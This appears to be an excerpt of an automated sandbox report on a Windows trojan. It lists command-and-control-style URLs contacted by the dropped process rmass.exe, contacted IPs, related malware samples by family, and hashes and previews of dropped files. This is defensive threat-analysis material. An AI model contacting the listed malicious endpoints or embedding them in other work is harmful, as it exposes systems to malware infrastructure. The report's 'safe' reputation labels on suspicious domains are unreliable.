http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2Fdo	rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://kaccimyquxifj.cd/WinE	rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?0263F495B963F495B94DF4B9B	rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4DW	rmass.exe, 00000002.00000003.3922140769.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3627470986.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4140565319.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4012807495.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3964612937.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4016353425.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4141890908.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3977059876.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672568191.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3677623029.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4149500963.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4021104328.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3984372060.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3986398597.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4193467188.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824068111.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769841749.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3553103313.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4164566072.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4144164011.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197425310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2/Y	rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://yuufw.museum/	rmass.exe, 00000002.00000003.3548028172.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3558744437.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3572688015.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3542935301.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3553182373.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3579332543.000000000075A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://rzucgtcpwoujoi.pw/$	rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://yowuwvxv.mp/nectionSettings	rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649369882.000000000074D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02F6456097F6456097D8454C97F645ADCE54F4AC55F745A03FF44356B9C46B59A5C6754E979	rmass.exe, 00000002.00000003.4158982239.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4156178438.0000000000775000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz/d/N?028FE0AA768FE0AA76A1E086768FE0672F2D5166B48EE06ADE8DE69C58BDCE9344BFD08	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?029A22B7269A22B726B4229B269A227A7F38937BE49B22778E98248108A80C8E14AA129	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark	explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://yiwqeoqkvc.museum/	rmass.exe, 00000002.00000003.3806713404.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3671499433.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684878778.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3841425635.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3695041346.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702747394.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3843952226.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702772696.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672630664.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803470948.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704229849.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3806807667.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832343429.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803542506.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3854640452.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769929491.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710241633.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710298681.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824118850.000000000074B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hftqf.mp/	rmass.exe, 00000002.00000003.3068606663.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3050442649.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047173395.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3141905625.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047310160.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3061937137.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3125929020.000000000074B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz/d/N?02AA9E4608AA9E4608849E6A08AA9E8B51082F8ACAAB9E86A0A898702698B07F3A9AAE6	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c	explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://vesuvadpxnu.pw/	rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gtmubeksl.tk/k	rmass.exe, 00000002.00000003.4202339480.0000000000742000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4192853398.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4186369949.0000000000729000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4200128318.0000000000741000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539D	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ogsdabuwibmkq.pw/U	rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02F836E051F836E051D636CC51F8362D085A872C93F93620F9FA30D67FCA18D963C806C	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://cxlowsxgyq.mp/u	rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3944225241.0000000000731000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://eqwmxcdrpj.mu	rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gwmswyupyceds.mp/	rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02061FCA77061FCA77281FE677061F072EA4AE06B5071F0ADF0419FC593431F345362FE477	rmass.exe, 00000002.00000003.3922140769.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4012807495.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3964612937.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4016353425.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3977059876.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4021104328.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3984372060.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3986398597.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4003032365.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3978669616.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4029648690.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4045346036.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4008408394.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3871005796.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4022680696.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3971796860.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3963013096.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3887666850.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3891270089.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3948683954.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4048249206.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02F687C159F687C159D887ED59F6870C0054360D9BF78701F1F481F777C4A9F86BC6B7EF59n	rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF	explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://ahagz.st//	rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jkpuc.museum/	rmass.exe, 00000002.00000003.2861519129.000000000074D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/cc	p4C7Gm10K3.exe, p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: malware	unknown
http://izasnosdqa.tk/	rmass.exe, 00000002.00000003.3891346643.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3902442550.0000000000775000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://avscooaicdshq.mp/m	rmass.exe, 00000002.00000003.4519485718.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4509916272.0000000000748000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4492190559.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4480638970.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4509694840.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4501806806.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4499610123.000000000074B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://icfuk.cd/ed	rmass.exe, 00000002.00000003.3050442649.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2Ver	rmass.exe, 00000002.00000003.3553205765.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?020FADE4890FADE48921ADC8890FAD29D	rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-	explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://avscooaicdshq.mp/u	rmass.exe, 00000002.00000003.4492190559.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4480638970.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4499610123.000000000074B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.198.29.97	kuwknmq.vg	Germany	24940	HETZNER-ASDE	false
64.70.19.203	xnvcnocfsecx.ws	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
167.99.35.88	utbidet-ugeas.biz	United States	14061	DIGITALOCEAN-ASNUS	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1353063
Start date and time:	2023-12-04 12:31:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	p4C7Gm10K3.exe renamed because original name is a hash value
Original Sample Name:	a2b56a267f83be08fbf30cb772733384.exe
Detection:	MAL
Classification:	mal100.troj.adwa.evad.winEXE@5/6@699/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 64% Number of executed functions: 30 Number of non-executed functions: 51
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:32:28	API Interceptor	257354x Sleep call for process: rmass.exe modified
12:32:43	API Interceptor	1735x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
88.198.29.97	KJEfMLiuRS.exe	Get hash	malicious	Unknown	Browse
64.70.19.203	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	fedyanin.ws/admin.php
	BbbEtaIxAU.exe	Get hash	malicious	Betabot	Browse	issasname.ws/xyz/abc/order.php?id=5889637
	GxELazkKkG.exe	Get hash	malicious	Unknown	Browse	enahmnhqah.ws/imgs/krewa/nqxa.php?id=f21eztiy&s5=3159&lip=192.168.2.7&win=Unk
	Readme.exe	Get hash	malicious	Unknown	Browse	ersaenrnwh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk
	EAfIchN1gN.exe	Get hash	malicious	Unknown	Browse	ehmpeseeaa.ws/imgs/krewa/nqxa.php?id=5143sudk&s5=3159&lip=192.168.2.4&win=Unk
	144C0621CA5ECB402DE01D8F10044F92A2EF917522E4B.exe	Get hash	malicious	Unknown	Browse	xircus.ws/kin/logout.php
	Br6Pmt0MiZ.exe	Get hash	malicious	Phorpiex	Browse	thaus.ws/6
	R5JbUb3muW.exe	Get hash	malicious	Phorpiex	Browse	thaus.ws/6
	kmHFEwF36g.exe	Get hash	malicious	Phorpiex	Browse	thaus.ws/1
	VkTXaNHTs6.exe	Get hash	malicious	Phorpiex	Browse	eaffuebudbeudbbk.ws/6
	wNtMSZRvzI.exe	Get hash	malicious	Phorpiex Xmrig	Browse	eafuebdbedbedggk.ws/4
	y7ddF1vGqA.exe	Get hash	malicious	Phorpiex Xmrig	Browse	deauduafzgezzfgk.ws/3
	6FRRo6QFF2.exe	Get hash	malicious	Unknown	Browse	wduufbaueeubffgu.ws/5
	Photo-149-101.jpg.exe	Get hash	malicious	Unknown	Browse	304049943.ws/mailer/3
	winsvcs.exe	Get hash	malicious	Unknown	Browse	304049943.ws/mailer/3
	Photo-137-158.jpg.exe	Get hash	malicious	Unknown	Browse	304049943.ws/mailer/3
	9v7gUCpZOr.exe	Get hash	malicious	Phorpiex	Browse	eaffuebudbeudbbu.ws/2
	1rP65UzlyY.exe	Get hash	malicious	Phorpiex Xmrig	Browse	eaffuebudbeudbbu.ws/5
	JAGk3xeQ5I.exe	Get hash	malicious	Avaddon	Browse	geueudusl.ws/vnc/2
	SecuriteInfo.com.Trojan.Siggen10.14421.6375.exe	Get hash	malicious	Phorpiex	Browse	fheuhdwdzwgzdggu.ws/2

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
utbidet-ugeas.biz	KJEfMLiuRS.exe	Get hash	malicious	Unknown	Browse	167.99.35.88

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CENTURYLINK-LEGACY-SAVVISUS	jklarm7.elf	Get hash	malicious	Mirai	Browse	204.188.52.90
	jklx86.elf	Get hash	malicious	Unknown	Browse	208.172.116.92
	mJHY33okRC.elf	Get hash	malicious	Mirai	Browse	206.28.57.180
	jdQ5Lxv5Nd.elf	Get hash	malicious	Mirai	Browse	208.162.105.52
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	64.70.19.203
	http://thegeneral.com	Get hash	malicious	HTMLPhisher	Browse	216.34.207.146
	m2jngcTeBu.elf	Get hash	malicious	Mirai	Browse	208.175.171.208
	KM5o3z58gh.elf	Get hash	malicious	Mirai	Browse	66.101.50.31
	tHRIRkYRbE.elf	Get hash	malicious	Mirai	Browse	208.152.177.170
	ua2cV1Y68W.elf	Get hash	malicious	Unknown	Browse	64.242.160.127
	LxeFp9UNtA.elf	Get hash	malicious	Mirai, Moobot	Browse	208.128.187.105
	pRtZYasbL9.elf	Get hash	malicious	Mirai, Moobot	Browse	208.138.239.160
	m4Fl3nW1Yl.elf	Get hash	malicious	Mirai	Browse	208.162.5.103
	YEcmxSymXx.elf	Get hash	malicious	Mirai	Browse	207.124.92.76
	bWZQRQVOya.elf	Get hash	malicious	Mirai, Moobot	Browse	64.28.82.73
	BpSsm2RxvM.elf	Get hash	malicious	Mirai	Browse	66.100.142.72
	yWVLQIrdCC.elf	Get hash	malicious	Mirai	Browse	206.26.161.115
	VLMEMjKea7.elf	Get hash	malicious	Mirai	Browse	64.242.55.81
	Y6IWvuzItZ.elf	Get hash	malicious	Mirai	Browse	66.101.168.159
	Q1BPEcSFNH.elf	Get hash	malicious	Mirai	Browse	206.154.147.189
HETZNER-ASDE	er0O6iIWXW.exe	Get hash	malicious	Amadey, Glupteba, Petite Virus, Socks5Systemz, onlyLogger	Browse	144.76.82.108
	file.exe	Get hash	malicious	Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	95.216.227.177
	W3YISK9B8K.exe	Get hash	malicious	Amadey, Petite Virus, Socks5Systemz, onlyLogger	Browse	144.76.82.108
	WFdO2Ju5Rt.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.227.177
	S004212823122940,PDF.exe	Get hash	malicious	FormBook	Browse	148.251.91.91
	CtTZm1DHG4A9nbE.exe	Get hash	malicious	FormBook	Browse	94.130.223.106
	file.exe	Get hash	malicious	FormBook	Browse	148.251.116.174
	PJS-4021339_IND.exe	Get hash	malicious	FormBook, NSISDropper	Browse	95.216.242.245
	HogEy1tbBh.exe	Get hash	malicious	RedLine, SectopRAT, zgRAT	Browse	94.130.51.115
	Wishes for our journey December 2023.scr	Get hash	malicious	Vidar	Browse	116.203.184.78
	ExSzLx1H49.exe	Get hash	malicious	RedLine	Browse	135.181.13.134
	Akbo6P61Yw.exe	Get hash	malicious	Phonk Miner, Xmrig	Browse	46.4.40.166
	telx86.elf	Get hash	malicious	Mirai	Browse	95.217.66.149
	PO#110437.exe	Get hash	malicious	AZORult	Browse	95.216.247.189
	file.exe	Get hash	malicious	Amadey, Glupteba, Petite Virus, Socks5Systemz, onlyLogger	Browse	144.76.82.108
	2m0Hf1BmnN.exe	Get hash	malicious	Amadey, RedLine, SectopRAT, zgRAT	Browse	94.130.51.115
	UYUuh7vsdN.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	116.202.184.4
	65OJ7AtOGF.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.227.177
	file.exe	Get hash	malicious	Amadey, HTMLPhisher, Glupteba, Petite Virus, Socks5Systemz, onlyLogger	Browse	144.76.82.108
	https://rasulcllc.com/captcha/	Get hash	malicious	Unknown	Browse	88.198.135.181

Process:	C:\Windows\SysWOW64\rmass.exe
File Type:	data
Category:	dropped
Size (bytes):	19973
Entropy (8bit):	7.814546232311513
Encrypted:	false
SSDEEP:	384:xXjUKKlzqUgF1948tx0TpdJE1RevhtmtQsQqK9muzkKnmPBp:ZjUnzqUgF1ITpnE1RevhteQsQqKtztcp
MD5:	E160EAE7E01CC9F4BDE80CD7D8F596BC
SHA1:	49523C875999BB8D5AF0E740AF39CD7EC5486B0B
SHA-256:	687719087DD135C118ED1D5229AE0179006078318112BDE8D2AA653D11578BA3
SHA-512:	E615151CF1CEF0BE64A37EB75F249C678E2E453314C5EB162FCF23FD65FD24E001019FE5D6A020665D52687AD20EFA8A18B069D116D12F254F5945095F2E31DB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	..".........MM............................................2....................................................................3.s.........R.................2B..............................................................................................................................................................................................................................................2..R...............................R...................................r............$..~.n@.d............^MMM..M..p.Z...Nq;s7{;b.YU..M.....q...q..1^.9...dLI?..;R.......D.......2MmD...M;qM..7i.'p.r1..DiIM.r7p...M...o.i1..Y=.:........?.....n9.......M..O.1v.2..};........].M.g;c2..Y];zq..r.....\|..iI..96..,;e..._\...7r;t.6&.1JM..I.)9.2....l...z...q...^\kjY.C.a...Y....D.ok..>3....`.m.....!?......7.3..x....$.I\3v......qd...T.M.;d;u.......SB...Y.....v..^l.;h;J..y..WY.....k.....?.p.u*....0..."1..N.1.br\....;....;S;U..Sp.L..k..>....JcJ;g..Q

C:\Windows\SysWOW64\RECOVER32.DLL

Download File

Process:	C:\Windows\SysWOW64\rmass.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	3.250432353716328
Encrypted:	false
SSDEEP:	48:6CsrGV5e2/WJbm73k2vZcsrkqSq2cxc2G5ZwJOFl:SqV5Roa73kQ/kqqAD
MD5:	2B2C28A7A01F9584FE220EF84003427F
SHA1:	5FC023DF0B5064045EB8DE7F2DBE26F07F6FEC70
SHA-256:	9E00AF53B1D0C0F5270D94A666D95AA7B4DCB9FEA49487C210C055C9DCFCC9EB
SHA-512:	39192A8A91DEC1ABFF25AF8DAC0CF39DA4DFD51B3FB4F1EF0B4E776185D4280FBE8387C2EA778DA7BBF2CE288B0BCE4D23CBE8D9E87BBD250159044F5ADBAC78
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......D...........#...8..................... ...............................`......#......... ......................0..+....@...............................P..D....................................................................................text............................... ..`.data...`.... ......................@....edata..+....0......................@..@.idata.......@......................@....reloc..D....P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\ahuy.exe

Download File

Process:	C:\Windows\SysWOW64\rmass.exe
